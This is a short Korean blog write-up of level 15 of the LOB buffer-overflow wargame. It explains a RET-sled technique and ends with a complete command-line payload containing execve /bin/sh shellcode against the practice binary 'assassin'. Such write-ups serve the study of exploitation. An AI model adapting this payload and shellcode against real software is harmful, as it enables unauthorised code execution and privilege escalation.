ii4gsp

LOB - Level15 [giant -> assassin] 본문

시스템 해킹/LOB

LOB - Level15 [giant -> assassin]

ii4gsp 2020. 1. 25. 22:15

stack을 사용할 수 없고 RTL도 사용불가능이다.

RET sled를 사용하여 문제를 풀어보자

 

 

 

 

gdb로 파일을 열고 ret부분에 break point를 걸고

RET에 RET를 한번더 넣고 NOP Sled와 쉘 코드를 넣어주자

 

 

 

 

RET에 RET를 넣어주고 0xbffffc0c를 RET로 잡고 페이로드를 작성해주자

buffer + sfp + &ret + 0xbffffc0c + NOP sled + 쉘 코드

                                            [44byte]     [4byte]    [4byte]     [100byte]    [25byte]

 

 

 

 

payload

./assassin $(python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\x0c\xfc\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Comments